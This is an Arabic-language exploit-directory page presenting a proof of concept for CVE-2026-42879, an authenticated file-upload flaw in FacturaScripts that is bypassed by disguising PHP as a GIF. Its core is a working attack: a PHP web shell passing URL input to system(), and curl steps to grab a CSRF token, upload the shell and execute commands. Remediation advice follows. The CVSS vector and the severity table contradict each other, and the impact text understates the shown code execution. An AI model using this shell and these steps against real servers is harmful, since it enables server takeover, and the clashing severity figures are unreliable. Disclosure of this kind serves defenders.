Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42879 — # استغلال تنفيذ الأكواد عن بُعد في FacturaScripts - إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/guzrex/cve-2026-42879
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubguzrex/cve-2026-42879

CVE-2026-42879

# استغلال تنفيذ الأكواد عن بُعد في FacturaScripts - إثبات المفهوم

عرض المستودع
4منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42879 - FacturaScripts - ثغرة رفع ملفات غير مقيدة بعد المصادقة عبر تجاوز نوع MIME

ملخص

توجد ثغرة رفع ملفات غير مقيدة بعد المصادقة في وظيفة رفع صور المنتجات في FacturaScripts. يمكن للمهاجم الذي يمتلك بيانات اعتماد صالحة رفع ملف PHP متنكراً كصورة GIF (باستخدام ترويسة GIF89a)، متجاوزاً بذلك التحقق من نوع MIME. يتم تخزين الملف بامتداده الأصلي، بما في ذلك الامتدادات القابلة للتنفيذ مثل .php.


التفاصيل

توجد الثغرة في:

Core/Lib/ExtendedController/ProductImagesTrait.php

وتحديداً في الدالة addImageAction().

الكود القابل للاستغلال

if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

السبب الجذري

  • التحقق يتحقق فقط من أن نوع MIME يحتوي على "image/"
  • يمكن تجاوز ذلك بإضافة بايتات GIF89a السحرية إلى ملف PHP
  • يحدد النظام الملف بشكل غير صحيح على أنه image/gif
  • يتم حفظ الملف بامتداد .php في دليل يمكن الوصول إليه عبر الويب

سلوك تخزين الملفات

يتم تخزين الملفات المرفوعة في:

/MyFiles/YYYY/MM/X.php

حيث X هو معرّف تلقائي التزايد. وهذا يسمح بالتنفيذ المباشر عن بُعد:

http://target/MyFiles/2026/03/2.php?cmd=id

التأثير

الاستغلال الناجح يسمح بما يلي:

يمكن للمهاجم رفع ملفات بامتدادات قابلة للتنفيذ (مثل .php) إلى الخادم، مما قد يؤدي إلى استغلال إضافي اعتماداً على إعدادات الخادم.


إثبات المفهوم (يدوي)

الخطوة 1: إنشاء ملف خبيث

cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

الخطوة 2: المصادقة

  • تسجيل الدخول إلى التطبيق
  • استخراج PHPSESSID من ملفات تعريف الارتباط في المتصفح

الخطوة 3: الحصول على رمز CSRF

curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

الخطوة 4: رفع القشرة

curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

الخطوة 5: تنفيذ الأمر

curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N النتيجة الأساسية: 6.3 (متوسطة)

المقياسالقيمة
متجه الهجومشبكة (AV:N)
تعقيد الهجوممنخفض (AC:L)
الامتيازات المطلوبةمنخفضة (PR:L)
تفاعل المستخدملا شيء (UI:N)
النطاقمتغير (S:C)
السريةعالية (C:H)
التكاملعالية (I:H)
التوفرعالية (A:H)

CWE

  • CWE-434: رفع غير مقيد لملف بنوع خطير

المنتجات المتأثرة

الحقلالقيمة
النظام البيئيPackagist
معرّف CVECVE-2026-42879
اسم الحزمةfacturascripts/facturascripts
الإصدارات المتأثرة<= 2025.81
الإصدارات المصححةلم يتم التصحيح بعد
تم الإصلاح فيقيد الانتظار

توصيات المعالجة

  1. التحقق من امتداد الملف — رفض أي رفع ينتهي اسم الملف فيه بـ .php أو .phtml أو .phar أو أي امتدادات قابلة للتنفيذ أخرى، بغض النظر عن نوع MIME
  2. إعادة إنشاء أسماء الملفات على الخادم — لا تستخدم أبداً getClientOriginalName()؛ قم بتعيين اسم آمن قائم على UUID مع امتداد تم التحقق منه
  3. تخزين الملفات المرفوعة خارج جذر الويب — قم بتقديم الملفات من خلال وحدة تحكم تدفق المحتوى، مما يمنع التنفيذ المباشر عبر URL
  4. استخدام مكتبة أنواع الملفات — تحقق من المحتوى الفعلي للملف (البايتات السحرية + الامتداد + نوع MIME) باستخدام مكتبة مثل fileinfo بدلاً من الثقة بنوع MIME المقدم من العميل

الاعتمادات

  • المكتشف: عبدالله الوسابي / Guzrex
تنزيل الأداة